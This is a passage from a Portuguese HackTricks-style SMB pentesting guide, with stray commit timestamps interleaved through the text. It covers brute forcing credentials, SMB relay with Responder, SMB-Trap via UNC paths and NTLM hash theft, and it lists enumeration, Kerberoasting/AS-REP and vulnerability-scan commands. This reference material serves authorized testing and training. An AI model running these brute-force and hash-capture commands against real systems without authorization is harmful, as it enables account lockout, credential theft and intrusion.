## **Forçar credenciais de usuários**
2020-07-15 15:43:14 +00:00
2024-02-05 02:45:11 +00:00
**Isso não é recomendado, você pode bloquear uma conta se exceder o número máximo de tentativas permitidas**
2023-11-05 15:30:02 +00:00
```bash
nmap --script smb-brute -p 445 < IP >
2023-12-26 21:42:42 +00:00
ridenum.py < IP > 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
2023-08-27 20:12:23 +00:00
```
2023-12-26 21:42:42 +00:00
## Ataque de retransmissão SMB
2023-08-27 20:12:23 +00:00
2024-07-19 11:31:17 +00:00
Este ataque usa a ferramenta Responder para **capturar sessões de autenticação SMB** em uma rede interna e **retransmiti-las** para uma **máquina alvo** . Se a **sessão de autenticação for bem-sucedida** , você será automaticamente direcionado para um **shell** **do sistema** .\
2023-12-26 21:42:42 +00:00
[**Mais informações sobre este ataque aqui.** ](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md )
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
## SMB-Trap
2020-07-15 15:43:14 +00:00
2024-07-19 11:31:17 +00:00
A biblioteca do Windows URLMon.dll tenta automaticamente autenticar-se no host quando uma página tenta acessar algum conteúdo via SMB, por exemplo: `img src="\\10.10.10.10\path\image.jpg"`
2020-07-15 15:43:14 +00:00
2024-07-19 11:31:17 +00:00
Isso acontece com as funções:
2020-07-15 15:43:14 +00:00
* URLDownloadToFile
* URLDownloadToCache
* URLOpenStream
* URLOpenBlockingStream
2024-07-19 11:31:17 +00:00
Que são usadas por alguns navegadores e ferramentas (como Skype)
2020-07-15 15:43:14 +00:00
2023-12-26 21:42:42 +00:00
![De: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html ](<../.gitbook/assets/image (93 ).png>)
2020-07-15 15:43:14 +00:00
2023-12-26 21:42:42 +00:00
### SMBTrap usando MitMf
2020-07-15 15:43:14 +00:00
2023-12-26 21:42:42 +00:00
![De: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html ](<../.gitbook/assets/image (94 ).png>)
2020-07-15 15:43:14 +00:00
2023-12-26 21:42:42 +00:00
## Roubo de NTLM
2022-09-15 17:28:33 +00:00
2024-07-19 11:31:17 +00:00
Semelhante ao SMB Trapping, plantar arquivos maliciosos em um sistema alvo (via SMB, por exemplo) pode provocar uma tentativa de autenticação SMB, permitindo que o hash NetNTLMv2 seja interceptado com uma ferramenta como o Responder. O hash pode então ser quebrado offline ou usado em um [ataque de retransmissão SMB ](pentesting-smb.md#smb-relay-attack ).
2022-09-15 17:28:33 +00:00
2023-12-26 21:42:42 +00:00
[Veja: ntlm\_theft ](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft )
2021-08-12 13:30:40 +00:00
2024-07-19 11:31:17 +00:00
## Comandos Automáticos HackTricks
2021-10-18 11:21:18 +00:00
```
2023-12-26 21:42:42 +00:00
Protocol_Name: SMB #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
2021-08-12 13:30:40 +00:00
2023-12-26 21:42:42 +00:00
Entry_1:
Name: Notes
Description: Notes for SMB
Note: |
While Port 139 is known technically as ‘ NBT over IP’ , Port 445 is ‘ SMB over IP’ . SMB stands for ‘ Server Message Blocks’ . Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
2023-08-27 20:12:23 +00:00
2023-12-26 21:42:42 +00:00
#These are the commands I run in order every time I see an open SMB port
2023-08-27 20:12:23 +00:00
2023-12-26 21:42:42 +00:00
With No Creds
2023-08-27 20:12:23 +00:00
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}
2023-12-26 21:42:42 +00:00
With Creds
2023-08-27 20:12:23 +00:00
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.xyz/pentesting/pentesting-smb
2021-08-15 18:12:30 +00:00
2023-12-26 21:42:42 +00:00
Entry_2:
Name: Enum4Linux
Description: General SMB Scan
Command: enum4linux -a {IP}
2023-11-05 15:30:02 +00:00
2023-12-26 21:42:42 +00:00
Entry_3:
Name: Nmap SMB Scan 1
Description: SMB Vuln Scan With Nmap
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
2023-11-05 15:30:02 +00:00
2023-12-26 21:42:42 +00:00
Entry_4:
Name: Nmap Smb Scan 2
Description: SMB Vuln Scan With Nmap (Less Specific)
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
2023-11-05 15:30:02 +00:00
2023-12-26 21:42:42 +00:00
Entry_5:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
2023-11-05 15:30:02 +00:00
2023-12-26 21:42:42 +00:00
Entry_6:
Name: SMB/SMB2 139/445 consolesless mfs enumeration
Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' & & msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' & & msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' & & msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
2023-08-27 20:12:23 +00:00
2023-12-26 21:42:42 +00:00
```
2024-07-19 11:31:17 +00:00
{% hint style="success" %}
Aprenda e pratique Hacking AWS:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Aprenda e pratique Hacking GCP: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-19 11:31:17 +00:00
< details >
2022-04-28 16:01:33 +00:00
2024-07-19 11:31:17 +00:00
< summary > Support HackTricks< / summary >
2024-01-02 23:25:33 +00:00
2024-07-19 11:31:17 +00:00
* Confira os [**planos de assinatura** ](https://github.com/sponsors/carlospolop )!
* **Junte-se ao** 💬 [**grupo do Discord** ](https://discord.gg/hRep4RUj7f ) ou ao [**grupo do telegram** ](https://t.me/peass ) ou **siga** -nos no **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) e [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) repositórios do github.
2022-04-28 16:01:33 +00:00
< / details >
2024-07-19 11:31:17 +00:00
{% endhint %}